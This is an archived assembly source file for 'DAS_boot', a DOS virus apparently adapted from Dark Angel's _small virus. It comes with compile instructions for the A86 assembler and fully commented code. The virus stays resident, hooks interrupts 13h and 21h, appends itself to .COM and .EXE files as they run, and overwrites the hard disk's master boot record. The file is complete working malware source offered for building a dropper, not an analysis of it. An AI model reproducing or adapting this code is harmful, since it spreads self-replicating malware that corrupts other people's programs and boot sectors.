home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / SOURCE.ZIP / DAS_BOOT.A86 < prev    next >
Text File  |  1995-01-01  |  18KB  |  315 lines

  1. ;=============================================================================
  2. ;       Virus Name:  DAS_boot
  3. ; Effective Length:  421 Bytes
  4. ;      Description:  Dark Angel's _small virus modified into multipartite
  5. ;
  6. ;            Notes:  
  7. ;                  - resident, multipartite, appending .COM/.EXE infector
  8. ;                  - infects .COM and .EXE files when they are executed
  9. ;                  - infects fixed disk MBR
  10. ;                  - no harmful payload
  11. ;
  12. ;       To Compile:
  13. ;                  - use shareware A86 assembler
  14. ;                  - type "a86 das_boot.a86"
  15. ;                  - resulting das_boot.com is virus dropper which,
  16. ;                    if executed, will infect your system with DAS_boot
  17. ;=============================================================================
  18.  
  19. boot            equ     07b00     ;delta offset for boot-time location
  20. com             equ     0100      ;delta offset for resident location
  21. EXE_id          equ     -040      ;EXE infection tag
  22. viruslength     equ     01a5      ;length of virus = 421 bytes
  23.  
  24. das_boot:                                                                       
  25.         call    relative                                                        
  26.  
  27. oldheader       db      0cd, 020  ;*(00) EXE file signature     | COM file's
  28.                 dw      ?         ;*(02) # of bytes in last page| 1st 3 bytes
  29.                 dw      ?         ;*(04) size of file + header (pages)
  30.                 dw      ?         ; (06) # of relocation items
  31.                 dw      ?         ; (08) size of header (paragraphs)
  32.                 dw      ?         ; (0A) min paragraphs needed
  33.                 dw      ?         ; (0C) max paragraphs needed
  34.                 dw      ?         ;*(0E) ss displacement from entry in para.
  35.                 dw      ?         ;*(10) sp value at entry
  36.                 dw      ?         ; (12) checksum
  37.                 dw      ?         ;*(14) ip value at entry
  38.                 dw      ?         ;*(16) cs displacement from entry in para.
  39.                                   ;* - indicates value modified by das_boot
  40. relative:                                                                       
  41.         pop     bp                      ;pop offset of oldheader off of stack
  42.         sub     bp,03                   ;adjust offset to start of program
  43.         mov     ax,cs                   ;load ax with current segment
  44.         mov     cl,04                   ;load cl with multiplier/shift value 
  45.         shl     ax,cl                   ;calculate absolute segment
  46.         mov     si,bp                   ;load si with program offset
  47.         add     si,ax                   ;calculate absolute address
  48.         cmp     si,07c00                ;code executing at boot-time address?
  49.         jne     infect_mbr              ;if not, must be executing from file,
  50.                                         ; so attempt to infect MBR
  51.         xor     ax,ax                   ;zero ax
  52.         mov     ds,ax                   ;point ds to vector table
  53.  
  54.         push    si                      ;save 0000:07c00 on stack as load  
  55.         push    ds                      ; location for original MBR
  56.  
  57.         dec     word ptr [0413]         ;decrease conventional memory by 1KB
  58.         int     012                     ;load ax with #KB of conv. memory
  59.         mov     cx,0106                 ;load move (100) and shift (06) values
  60.         shl     ax,cl                   ;calculate destination segment
  61.  
  62.         mov     es,ax                   ;set es to destination segment
  63.         mov     [022*4+2],ax            ;store boot tag in int22 vector seg.
  64.         xchg    [013*4+2],ax            ;point int13 vector to virus segment
  65.         mov     [offset old13+boot+2],ax ;store old int13 segment value
  66.         mov     ax,offset int13-com     ;load ax with virus int13 handler off.
  67.         xchg    [013*4],ax              ;point int13 vector to virus offset
  68.         mov     [offset old13+boot],ax  ;store old int13 offset value
  69.   
  70.         xor     di,di                   ;set destination offset=0000
  71.         cld                             ;clear direction flag (fwd)
  72.         rep     movsw                   ;move virus to top of conv. memory
  73.  
  74.         push    es                      ;push destination segment for retf
  75.         mov     bx,offset top_mem-com   ;load bx with offset
  76.         push    bx                      ;push offset for retf
  77.         retf                            ;return to self at new location
  78. top_mem:
  79.         pop     es                      ;pop es=0000 as disk load segment
  80.         mov     ax,0201                 ;select read-one-sector function
  81.         pop     bx                      ;pop bx=07c00 as disk load offset
  82.         mov     cl,02                   ;cylinder 0, sector 2 (original MBR)
  83.         int     013                     ;load original MBR
  84.  
  85.         jmp     0000:07c00              ;jump to execute original MBR
  86.  
  87. infect_mbr:
  88.         push    ds                      ;preserve registers
  89.         push    es
  90.  
  91.         push    cs                      
  92.         pop     ds                      ;set ds=cs
  93.         push    cs
  94.         pop     es                      ;set es=cs
  95.  
  96.         mov     ax,0201                 ;select read-one-sector function
  97.         lea     bx,[bp+viruslength]     ;set load offset just beyond program
  98.         mov     cx,01                   ;cylinder 0, sector 1 (MBR)
  99.         mov     dx,080                  ;head 0, drive "C"
  100.         int     013                     ;load MBR
  101.         jb      exit_small              ;if flag=error, exit
  102.  
  103.         cmp     [bx],018e8              ;check for das_boot code
  104.         je      exit_small              ;if equal, MBR already infected, so
  105.                                         ; exit
  106.         mov     ax,0301                 ;select write-one-sector function
  107.         inc     cx                      ;cylinder 0, sector 2
  108.         int     013                     ;relocate original MBR to sector 2
  109.  
  110.         mov     si,bp                   ;set source offset to start of virus
  111.         mov     di,bx                   ;set dest. offset to MBR in buffer
  112.         mov     cx,viruslength          ;load move count to cx
  113.         rep     movsb                   ;move virus to MBR in memory
  114.  
  115.         mov     ax,0301                 ;select write-one-sector function
  116.         inc     cx                      ;cylinder 0, sector 1 (MBR)
  117.         int     013                     ;write infected MBR to drive "C"
  118. exit_small:                                                                     
  119.         pop     es                      ;restore segment registers to point     
  120.         pop     ds                      ; to PSP                                
  121.  
  122.         add     bp,03                   ;reset bp to point to oldheader
  123.  
  124.         or      sp,sp                   ;test parity of stack pointer        
  125.         jpo     returnCOM               ;if value is odd, COM file is host
  126. returnEXE:                                                                      
  127.         mov     ax,ds                   ;load ax with PSP segment
  128.         add     ax,010                  ;adjust segment value to skip PSP
  129.         add     [bp+016],ax             ;restore orig. cs value in oldheader
  130.         add     ax,[bp+0e]              ;calculate original ss entry value   
  131.         mov     ss,ax                   ;load ss with original value         
  132.         mov     sp,cs:[bp+010]          ;load sp with program entry value
  133.         jmp     dword ptr cs:[bp+014]   ;jump to EXE file entry point via
  134.                                         ; restored value in oldheader
  135. returnCOM:                                                                      
  136.         mov     di,0100                 ;COM file entry point & move dest.
  137.         push    di                      ;save on stack as return offset 
  138.         mov     si,bp                   ;point to stored COM 1st three bytes
  139.         movsw                           ;move the original three bytes
  140.         movsb                           ; back to the start of the COM file
  141.         ret                             ;return to execute the COM file
  142.                                         ; (return segment already on stack)
  143. int13:
  144.         push    ax                      ;preserve registers
  145.         push    ds
  146.  
  147.         xor     ax,ax                   ;zero ax
  148.         mov     ds,ax                   ;point ds to vector table
  149.         mov     ax,cs                   ;set ax=cs
  150.  
  151.         cmp     [090*4],ax              ;bypass flag set?
  152.         je      exit_int13              ;if so, don't steal int21 vector again
  153.  
  154.         cmp     [022*4+2],ax            ;int22 vector segment = boot tag?
  155.         je      exit_int13              ;if so, vectors not fully initialized,
  156.                                         ; so don't steal int21 yet
  157.         mov     [090*4],ax              ;put bypass flag in unused BASIC vect.
  158.         xchg    [021*4+2],ax            ;point int21 vector to virus segment
  159.         mov     cs:[offset old21-com+2],ax ;store orig. int21 handler segment
  160.         mov     ax,offset int21-com     ;load ax with virus int21 handler off.
  161.         xchg    [021*4],ax              ;point int21 vector to virus offset
  162.         mov     cs:[offset old21-com],ax ;store orig. int21 handler offset
  163. exit_int13:
  164.         pop     ds                      ;restore registers
  165.         pop     ax
  166.  
  167.         db      0ea                     ;"jmp far" to location specified in
  168. old13:                                  ; old13
  169.         dw      ?, ?                    ;offset and segment of original int13
  170.                                         ; handler
  171. infect:                                                                         
  172.         push    ax                      ;preserve registers
  173.         push    bx
  174.         push    cx
  175.         push    dx
  176.         push    si
  177.         push    di
  178.         push    ds
  179.         push    es
  180.  
  181.         mov     ax,03d02                ;open file read/write function
  182.         int     021                     ;attempt to open file read/write
  183.         xchg    ax,bx                   ;save file handle in bx                 
  184.  
  185.         push    cs                                                              
  186.         pop     ds                      ;set ds=cs                              
  187.         push    cs                                                              
  188.         pop     es                      ;set es=cs                              
  189.  
  190.         mov     si,offset oldheader-com ;point to offset of oldheader
  191.  
  192.         mov     ah,03f                  ;read file function
  193.         mov     cx,018                  ;first 18 bytes
  194.         push    cx                      ;save value for later use        
  195.         mov     dx,si                   ;point to oldheader offset
  196.         int     021                     ;load file's 1st 18 bytes to oldheader
  197.  
  198.         cmp     ax,cx                   ;18 bytes successfully read?            
  199.         jne     go_already_infected     ;if not, open file read/write failed,
  200.                                         ; so exit         
  201.  
  202.         mov     di,offset target-com    ;point to target offset
  203.         push    di                      ;save offset value for later use      
  204.         rep     movsb                   ;move oldheader to target (cx=18)
  205.         pop     di                      ;restore di to target offset value  
  206.  
  207.         mov     ax,04202                ;move file pointer, offset from EOF
  208.         cwd                             ;set dx=0000 (LSP) [cx=0000 (MSP)]
  209.         int     021                     ;move file pointer to EOF, dx:ax 
  210.                                         ; returned as new file pointer
  211.         cmp     ds:[di],'ZM'            ;check target header for EXE tag       
  212.         je      infectEXE               ;if present, infect EXE                
  213.  
  214. infectCOM:
  215.         sub     ax,03                   ;subtract 3 from file pointer offset
  216.         mov     byte ptr ds:[di],0e9    ;put "jmp" at start of target header
  217.         mov     ds:[di+01],ax           ;put jmp offset in target header
  218.  
  219.         sub     ax,viruslength          ;calc. jmp offset of infected file    
  220.         cmp     ds:[si-017],ax          ;does file's jmp offset match?
  221.         jne     finishinfect            ;if not, it's not infected, so infect  
  222. go_already_infected:                                                            
  223.         pop     cx                      ;discard excess value on stack          
  224.         jmp     short already_infected  ;exit infection routine                 
  225.  
  226. int21:                                                                          
  227.         cmp     ax,04b00                ;load and execute file request?
  228.         je      infect                  ;if so, attempt to infect file
  229.         jmp     short chain             ;if not, jump to orig. int21 handler    
  230.  
  231. infectEXE:                                                                      
  232.         cmp     word ptr [di+010],EXE_id ;check for infect tag in target SP
  233.         je      go_already_infected      ;if tag is present, don't infect       
  234.  
  235.         push    ax                      ;push file pointer LSP                  
  236.         push    dx                      ;push file pointer MSP                  
  237.  
  238.         add     ax,viruslength          ;add virus length to file length (LSP)  
  239.         adc     dx,0                    ;adjust MSP (segment) to reflect        
  240.                                         ; any carry from adjustment of LSP
  241.         mov     cx,0200                 ;set cx=1 page (512d bytes)
  242.         div     cx                      ;divide new file length by 512d to      
  243.                                         ; calculate number of pages in file
  244.         or      dx,dx                   ;remainder in dx?                       
  245.         jz      nohiccup                ;if not, no need to add another page
  246.         inc     ax                      ;add another page to length value       
  247. nohiccup:                                                                       
  248.         mov     ds:[di+04],ax           ;store # of pages in target header
  249.         mov     ds:[di+02],dx           ;store # of bytes in last page in
  250.                                         ; target header
  251.         pop     dx                      ;restore dx to file pointer MSP         
  252.         pop     ax                      ;restore ax to file pointer LSP         
  253.  
  254.         mov     cx,010                  ;convert dx:ax to
  255.         div     cx                      ; segment(ax):offset(dx) form
  256.  
  257.         sub     ax,ds:[di+08]           ;subtract header size
  258.  
  259.         mov     ds:[di+014],dx          ;store new entry ip in target
  260.         mov     ds:[di+016],ax          ;store new entry cs displacement
  261.  
  262.         mov     ds:[di+0e],ax           ;store new entry ss displacement
  263.         mov     word ptr ds:[di+010],EXE_id ;store EXE_id as sp in target
  264. finishinfect:                                                                   
  265.         mov     ah,040                  ;write to file w/handle function
  266.         mov     cx,viruslength          ;specify # of bytes to write            
  267.         xor     dx,dx                   ;set buffer start at virus offset    
  268.         int     021                     ;write _small to EOF
  269.  
  270.         mov     ax,04200                ;move file pointer, offset from BOF
  271.         xor     cx,cx                   ;MSP of offset cx=0000
  272.         cwd                             ;LSP of offset dx=0000
  273.         int     021                     ;move file pointer to BOF
  274.  
  275.         mov     ah,040                  ;write to file w/handle function
  276.         mov     dx,di                   ;set buffer start at target header
  277.         pop     cx                      ;specify 18 bytes to write              
  278.         int     021                     ;write modified EXE header (or COM 
  279.                                         ; jmp xxxx & next 15 bytes) to BOF
  280. already_infected:                                                               
  281.         mov     ah,03e                  ;close file w/handle function
  282.         int     021                     ;close file
  283. exitinfect:                                                                     
  284.         pop     es                      ;preserve registers
  285.         pop     ds
  286.         pop     di
  287.         pop     si
  288.         pop     dx
  289.         pop     cx
  290.         pop     bx
  291.         pop     ax
  292.  
  293. chain:                                                                          
  294.                 db      0ea     ;"jmp far" to location specified in old21
  295. heap:                                                                           
  296.  
  297. old21           dw      ?, ?    ;offset and segment of orig. int21 handler
  298.  
  299. target          dw      ?       ;*(00) EXE file signature     | COM file's
  300.                 dw      ?       ;*(02) # of bytes in last page| jmp to virus
  301.                 dw      ?       ;*(04) size of file + header (pages)       
  302.                 dw      ?       ; (06) # of relocation items               
  303.                 dw      ?       ; (08) size of header (paragraphs)         
  304.                 dw      ?       ; (0A) min paragraphs needed               
  305.                 dw      ?       ; (0C) max paragraphs needed               
  306.                 dw      ?       ;*(0E) ss displacement from entry in para. 
  307.                 dw      ?       ;*(10) sp value at entry                   
  308.                 dw      ?       ; (12) checksum                            
  309.                 dw      ?       ;*(14) ip value at entry                   
  310.                 dw      ?       ;*(16) cs displacement from entry in para. 
  311.                                 ;* - indicates value modified by das_boot  
  312. endheap:                                                                        
  313.  
  314.         end     das_boot        
  315.